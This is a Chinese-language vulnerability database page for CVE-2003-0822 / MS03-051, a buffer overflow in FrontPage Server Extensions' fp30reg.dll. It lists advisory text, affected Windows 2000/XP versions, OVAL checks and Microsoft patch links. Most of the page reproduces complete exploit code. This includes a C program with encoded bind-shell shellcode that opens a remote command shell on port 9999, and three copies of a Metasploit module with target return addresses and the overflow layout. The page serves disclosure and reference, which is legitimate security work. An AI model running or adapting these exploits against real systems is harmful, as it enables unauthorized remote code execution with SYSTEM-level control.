CVE-2003-0822
CVSS7.5
发布时间 :2003-12-15 00:00:00
修订时间 :2016-10-17 22:37:38
NMCOEPS    

[原文]Buffer overflow in the debug functionality in fp30reg.dll of Microsoft FrontPage Server Extensions (FPSE) 2000 and 2002 allows remote attackers to execute arbitrary code via a crafted chunked encoded request.


[CNNVD]Microsoft FrontPage Server Extensions远程缓冲区溢出漏洞(MS03-051)(CNNVD-200312-061)

        
        Microsoft FrontPage服务器扩展是Microsoft公司开发的用于加强IIS Web服务器的功能的软件包。
        Microsoft FrontPage Server Extensions存在两个新的安全漏洞,可导致远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以FrontPage进程权限在系统上执行任意指令。
        第一个漏洞是由于FrontPage服务扩展的远程调试功能上存在缓冲区溢出,这个功能用于用户远程连接FrontPage服务扩展的服务器和远程调试内容使用,如Visual Interdev。攻击者成功利用这个漏洞可以以本地SYSTEM权限在系统上执行任意指令,然后在系统上执行任意操作,如安装程序,查看更改或删除数据,建立拥有全部权限的帐户等。
        第二个漏洞存在与SmartHTML解析器中,提供对WEB表单和其他基于FrontPage动态内容的支持,攻击者利用这个漏洞可以使运行FrontPage服务扩展的服务器临时停止对正常请求的响应。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_xp::sp1:home
cpe:/a:microsoft:frontpage_server_extensions:2002Microsoft frontpage_server_extensions 2002
cpe:/o:microsoft:windows_xp::gold:professionalMicrosoft Windows XP Professional Gold
cpe:/a:microsoft:sharepoint_team_services:2002Microsoft Sharepoint Team Services 2002
cpe:/o:microsoft:windows_2000::sp3:professionalMicrosoft Windows 2000 Professional SP3
cpe:/o:microsoft:windows_2000::sp2:professionalMicrosoft Windows 2000 Professional SP2
cpe:/a:microsoft:frontpage_server_extensions:2000Microsoft frontpage_server_extensions 2000
cpe:/o:microsoft:windows_2000::sp3:advanced_serverMicrosoft Windows 2000 Advanced Server SP3
cpe:/o:microsoft:windows_2000::sp2:advanced_serverMicrosoft Windows 2000 Advanced Server SP2
cpe:/o:microsoft:windows_2000::sp3:serverMicrosoft Windows 2000 Server SP3
cpe:/o:microsoft:windows_2000::sp3:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP3
cpe:/o:microsoft:windows_xp::sp1:64-bit
cpe:/o:microsoft:windows_2000::sp2:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP2
cpe:/o:microsoft:windows_2000::sp2:serverMicrosoft Windows 2000 Server SP2

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:743MS FrontPage Server Extensions Chunked Encoded Request Buffer Overflow (Test 5)
oval:org.mitre.oval:def:699MS FrontPage Server Extensions Chunked Encoded Request Buffer Overflow (Test 4)
oval:org.mitre.oval:def:367MS FrontPage Server Extensions Chunked Encoded Request Buffer Overflow (Test 3)
oval:org.mitre.oval:def:366MS FrontPage Server Extensions Chunked Encoded Request Buffer Overflow (Test 2)
oval:org.mitre.oval:def:364MS FrontPage Server Extensions Chunked Encoded Request Buffer Overflow (Test 1)
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0822
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0822
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-061
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=106865318904055&w=2
(UNKNOWN)  BUGTRAQ  20031112 Frontpage Extensions Remote Command Execution
http://marc.info/?l=ntbugtraq&m=106862654906759&w=2
(UNKNOWN)  NTBUGTRAQ  20031112 Frontpage Extensions Remote Command Execution
http://www.kb.cert.org/vuls/id/279156
(UNKNOWN)  CERT-VN  VU#279156
http://www.microsoft.com/technet/security/bulletin/ms03-051.asp
(VENDOR_ADVISORY)  MS  MS03-051
http://xforce.iss.net/xforce/xfdb/13674
(VENDOR_ADVISORY)  XF  fpse-debug-bo(13674)

- 漏洞信息

Microsoft FrontPage Server Extensions远程缓冲区溢出漏洞(MS03-051)
高危 边界条件错误
2003-12-15 00:00:00 2005-10-20 00:00:00
远程  
        
        Microsoft FrontPage服务器扩展是Microsoft公司开发的用于加强IIS Web服务器的功能的软件包。
        Microsoft FrontPage Server Extensions存在两个新的安全漏洞,可导致远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以FrontPage进程权限在系统上执行任意指令。
        第一个漏洞是由于FrontPage服务扩展的远程调试功能上存在缓冲区溢出,这个功能用于用户远程连接FrontPage服务扩展的服务器和远程调试内容使用,如Visual Interdev。攻击者成功利用这个漏洞可以以本地SYSTEM权限在系统上执行任意指令,然后在系统上执行任意操作,如安装程序,查看更改或删除数据,建立拥有全部权限的帐户等。
        第二个漏洞存在与SmartHTML解析器中,提供对WEB表单和其他基于FrontPage动态内容的支持,攻击者利用这个漏洞可以使运行FrontPage服务扩展的服务器临时停止对正常请求的响应。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 使用IIS Lockdown工具在IIS Server中禁用FrontPage Server Extensions。
        * 如果您不需要使用FrontPage Server Extensions, 您还可以通过控制面板中的"添加/删除程序"来卸载FrontPage Server Extensions。
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS03-051)以及相应补丁:
        MS03-051:Buffer Overrun in Microsoft FrontPage Server Extensions Could Allow Code Execution (813360)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS03-051.asp

        补丁下载:
        Microsoft FrontPage Server Extensions 2000
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=C84C3D10-A821-4819-BF58-D3BC70A77BFA&displaylang=en

        Microsoft FrontPage Server Extensions 2000 (Shipped with Windows 2000)
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=057D5F0E-0E2B-47D2-9F0F-3B15DD8622A2&displaylang=en

        Microsoft FrontPage Server Extensions 2000 (Shipped with Windows XP)
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=9B302532-BFAB-489B-82DC-ED1E49A16E1C&displaylang=en

        Microsoft FrontPage Server Extensions 2002
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=3E8A21D9-708E-4E69-8299-86C49321EE25&displaylang=en

        Microsoft SharePoint Team Services 2002 (shipped with Office XP)
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=5923FC2F-D786-4E32-8F15-36A1C9E0A340&displaylang=en

- 漏洞信息 (121)

MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051) (EDBID:121)
windows remote
2003-11-13 Verified
80 Adik
N/A [点击下载]
/*******************************************************************************

Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore

Exploit by Adik netmaniac hotmail kg

Binds persistent command shell on port 9999
Tested on 			
		Windows 2000 Professional SP3 English version 
		(fp30reg.dll ver 4.0.2.5526)			

-[ 13/Nov/2003 ]-
********************************************************************************/


#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")

#define VER		"0.1"	

/******** bind shellcode spawns persistent shell on port 9999 *****************************/
unsigned char kyrgyz_bind_code[] = {
	0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
	0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
	0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
	0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
	0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
	0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
	0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
	0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
	0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
	0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
	0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
	0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
	0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
	0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
	0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
	0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
	0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
	0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
	0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
	0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
	0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
	0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};

void cmdshell (int sock);
long gimmeip(char *hostname);

int main(int argc,char *argv[])
{     
		WSADATA wsaData;
		struct sockaddr_in targetTCP;
		struct hostent *host;
		int sockTCP,s;
		unsigned short port = 80;
		long ip;
		unsigned char header[]=	"POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
                                unsigned char packet[3000],data[1500];		                
		unsigned char ecx[] = "\xe0\xf3\xd4\x67";
		unsigned char edi[] = "\xff\xd0\x90\x90";		
		unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
		unsigned char shortjmp[] = "\xeb\x10";
		
		printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
		" by Adik < netmaniac [at] hotmail.KG >\n\n", VER);
		if(argc < 2)
		{
			
			printf(" Usage: %s [Target] <port>\n"
					" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
			return 1;			
		}		
		if(argc==3)
			port = atoi(argv[2]);					
        WSAStartup(0x0202, &wsaData);				
		printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
		ip=gimmeip(argv[1]);	
        memset(&targetTCP, 0, sizeof(targetTCP));
		memset(packet,0,sizeof(packet));
        targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(port);				
	sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);		
	memset(data, 0x90, sizeof(data)-1);
	data[sizeof(data)-1] = '\x0';
	memcpy(&data[16],edi,sizeof(edi)-1);
	memcpy(&data[20],ecx,sizeof(ecx)-1);		
	memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
	memcpy(&data[250+14],call,sizeof(call)-1);		
	memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
	sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
        if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}
		printf("[*] Socket initialized...\n");					
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("[*] Connection to host failed! Exiting...\n");
			WSACleanup();
			exit(1);
		} 		
		printf("[*] Checking for presence of fp30reg.dll...");
		if (send(sockTCP, packet, strlen(packet),0) == -1)
		{
				printf("[x] Failed to inject packet! Exiting...\n");
				WSACleanup();
                return 1;
		}		
		memset(packet,0,sizeof(packet));	
		if (recv(sockTCP, packet, sizeof(packet),0) == -1)		
		{
				printf("[x] Failed to receive packet! Exiting...\n");
				WSACleanup();
                return 1;
		}				
		if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
			printf(" Found!\n");
		else
		{
			printf(" Not Found!! Exiting...\n");
			WSACleanup();
			return 1;
		}
		printf("[*] Packet injected!\n");
		closesocket(sockTCP);
		printf("[*] Sleeping ");
		for(s=0;s<13000;s+=1000)
		{
			printf(". ");
			Sleep(1000);
		}		
		printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
		if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("\n[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}		
		targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(9999);
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
			WSACleanup();
			exit(1);
		} 
		printf("\n[*] Dropping to shell...\n\n");
		cmdshell(sockTCP);
        return 0;
}
/*********************************************************************************/
void cmdshell (int sock)
{
 struct timeval tv;
 int length;
 unsigned long o[2];
 char buffer[1000];
 
 tv.tv_sec = 1;
 tv.tv_usec = 0;

 while (1) 
 {
	o[0] = 1;
	o[1] = sock;	

	length = select (0, (fd_set *)&o, NULL, NULL, &tv);
	if(length == 1)
	{
		length = recv (sock, buffer, sizeof (buffer), 0);
		if (length <= 0) 
		{
			printf ("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
		length = write (1, buffer, length);
		if (length <= 0) 
		{
			printf ("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
	}
	else
	{
		length = read (0, buffer, sizeof (buffer));
		if (length <= 0) 
		{
			printf("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
		length = send(sock, buffer, length, 0);
		if (length <= 0) 
		{
			printf("[x] Connection closed.\n");
			WSACleanup();
			return;
		}
	}
}

}
/*********************************************************************************/
long gimmeip(char *hostname) 
{
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) 
	{
		if ((he = gethostbyname(hostname)) == NULL) 
		{
			printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
			WSACleanup();
			exit(1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}
/*********************************************************************************/

// milw0rm.com [2003-11-13]
		

- 漏洞信息 (16356)

Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow (EDBID:16356)
windows remote
2010-07-25 Verified
0 metasploit
N/A [点击下载]
##
# $Id: ms03_051_fp30reg_chunked.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
			'Description'    => %q{
					This is an exploit for the chunked encoding buffer overflow
				described in MS03-051 and originally reported by Brett
				Moore. This particular modules works against versions of
				Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
				issue.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					[ 'CVE', '2003-0822'],
					[ 'OSVDB', '2952'],
					[ 'BID', '9007'],
					[ 'MSB', 'MS03-051'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll
					['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002
					['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999
				],
			'DisclosureDate' => 'Nov 11 2003',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
			], self.class)
	end

	def exploit

		print_status("Creating overflow request for fp30reg.dll...")

		pat = rand_text_alphanumeric(0xdead)
		pat[128, 4] = [target.ret].pack('V')
		pat[264, 4] = [target.ret].pack('V')

		# sub eax,0xfffffeff; jmp eax
		pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"

		pat[280, 512] = make_nops(512)
		pat[792, payload.encoded.length] = payload.encoded

		0.upto(15) do |i|

			if (i % 3 == 0)
				print_status("Refreshing the remote dllhost.exe process...")

				res = send_request_raw({
					'uri' => datastore['URL']
				}, -1)

				if (res and res.body =~ /specified module could not be found/)
					print_status("The server states that #{datastore['URL']} does not exist.\n")
					return
				end
			end

			print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

			res = send_request_raw({
				'uri'     => datastore['URL'],
				'method'  => 'POST',
				'headers' =>
				{
					'Transfer-Encoding' => 'Chunked'
				},
				'data'    => "DEAD\r\n#{pat}\r\n0\r\n"
			}, 5)

			if (res and res.body =~ /specified module could not be found/)
				print_status("The server states that #{datastore['URL']} does not exist.\n")
				return
			end

			handler

			select(nil,nil,nil,1)
		end
	end

	def check
		print_status("Requesting the vulnerable ISAPI path...")
		r = send_request_raw({
			'uri' => datastore['URL']
		}, -1)

		if (r and r.code == 501)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

end
		

- 漏洞信息 (F92138)

Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow (PacketStormID:F92138)
2010-07-26 00:00:00
H D Moore  metasploit.com
exploit,overflow
windows,2k
CVE-2003-0822
[点击下载]

This is an exploit for the chunked encoding buffer overflow described in MS03-051 and originally reported by Brett Moore. This particular modules works against versions of Windows 2000 between SP0 and SP3. Service Pack 4 fixes the issue.

##
# $Id: ms03_051_fp30reg_chunked.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
			'Description'    => %q{
					This is an exploit for the chunked encoding buffer overflow
				described in MS03-051 and originally reported by Brett
				Moore. This particular modules works against versions of
				Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
				issue.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					[ 'CVE', '2003-0822'],
					[ 'OSVDB', '2952'],
					[ 'BID', '9007'],
					[ 'MSB', 'MS03-051'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll
					['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002
					['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999
				],
			'DisclosureDate' => 'Nov 11 2003',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
			], self.class)
	end

	def exploit

		print_status("Creating overflow request for fp30reg.dll...")

		pat = rand_text_alphanumeric(0xdead)
		pat[128, 4] = [target.ret].pack('V')
		pat[264, 4] = [target.ret].pack('V')

		# sub eax,0xfffffeff; jmp eax
		pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"

		pat[280, 512] = make_nops(512)
		pat[792, payload.encoded.length] = payload.encoded

		0.upto(15) do |i|

			if (i % 3 == 0)
				print_status("Refreshing the remote dllhost.exe process...")

				res = send_request_raw({
					'uri' => datastore['URL']
				}, -1)

				if (res and res.body =~ /specified module could not be found/)
					print_status("The server states that #{datastore['URL']} does not exist.\n")
					return
				end
			end

			print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

			res = send_request_raw({
				'uri'     => datastore['URL'],
				'method'  => 'POST',
				'headers' =>
				{
					'Transfer-Encoding' => 'Chunked'
				},
				'data'    => "DEAD\r\n#{pat}\r\n0\r\n"
			}, 5)

			if (res and res.body =~ /specified module could not be found/)
				print_status("The server states that #{datastore['URL']} does not exist.\n")
				return
			end

			handler

			select(nil,nil,nil,1)
		end
	end

	def check
		print_status("Requesting the vulnerable ISAPI path...")
		r = send_request_raw({
			'uri' => datastore['URL']
		}, -1)

		if (r and r.code == 501)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

end
    

- 漏洞信息 (F82983)

Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow (PacketStormID:F82983)
2009-11-26 00:00:00
H D Moore  metasploit.com
exploit,overflow
windows,2k
CVE-2003-0822
[点击下载]

This is an exploit for the chunked encoding buffer overflow described in MS03-051 and originally reported by Brett Moore. This particular modules works against versions of Windows 2000 between SP0 and SP3. Service Pack 4 fixes the issue.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
			'Description'    => %q{
				This is an exploit for the chunked encoding buffer overflow
				described in MS03-051 and originally reported by Brett
				Moore. This particular modules works against versions of
				Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
				issue.
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0822'],
					[ 'OSVDB', '2952'],
					[ 'BID', '9007'],
					[ 'MSB', 'MS03-051'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll
					['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002
					['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999	
				],
			'DisclosureDate' => 'Nov 11 2003',
			'DefaultTarget' => 0))
		
			register_options(
				[
					OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
				], self.class)					
	end

	def exploit
	
		print_status("Creating overflow request for fp30reg.dll...")
		
		pat = rand_text_alphanumeric(0xdead)
		pat[128, 4] = [target.ret].pack('V')
		pat[264, 4] = [target.ret].pack('V')

		# sub eax,0xfffffeff; jmp eax
		pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
		
		pat[280, 512] = make_nops(512)
		pat[792, payload.encoded.length] = payload.encoded
		
		0.upto(15) do |i|
			
			if (i % 3 == 0)
				print_status("Refreshing the remote dllhost.exe process...")
				
				res = send_request_raw({
					'uri' => datastore['URL']
				}, -1)
				
				if (res and res.body =~ /specified module could not be found/)
					print_status("The server states that #{datastore['URL']} does not exist.\n")
					return
				end						
			end

			print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

			res = send_request_raw({
				'uri'     => datastore['URL'],
				'method'  => 'POST',
				'headers' =>
				{
					'Transfer-Encoding' => 'Chunked'
				},
				'data'    => "DEAD\r\n#{pat}\r\n0\r\n"
			}, 5)

			if (res and res.body =~ /specified module could not be found/)
				print_status("The server states that #{datastore['URL']} does not exist.\n")
				return
			end

			handler
			
			sleep(1)
		end
	end
	
	def check
		print_status("Requesting the vulnerable ISAPI path...")
		r = send_request_raw({
			'uri' => datastore['URL']
		}, -1)		
		
		if (r and r.code == 501)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

end
    

- 漏洞信息

2952
Microsoft FrontPage Server Extensions (fp30reg.dll) Debug Function Chunked Encoded Request Remote Overflow
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity Patch / RCS
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Microsoft Frontpage Server Extensions (FPSE). The fp30reg.dll library fails to handle crafted chunked encoded data resulting in a boundary overflow. With a specially crafted request, an attacker can potentially execute arbitrary code with the same privileges as the web server.

- 时间线

2003-11-11 Unknow
2003-11-13 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Microsoft FrontPage Server Extensions Remote Debug Buffer Overrun Vulnerability
Boundary Condition Error 9007
Yes No
2003-11-11 12:00:00 2009-07-12 12:56:00
Discovery is credited to Brett Moore.

- 受影响的程序版本

Microsoft Windows XP Professional SP1
Microsoft Windows XP Home SP1
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft SharePoint Team Services 2002
+ Microsoft Office XP SP1
Microsoft FrontPage Server Extensions 2002
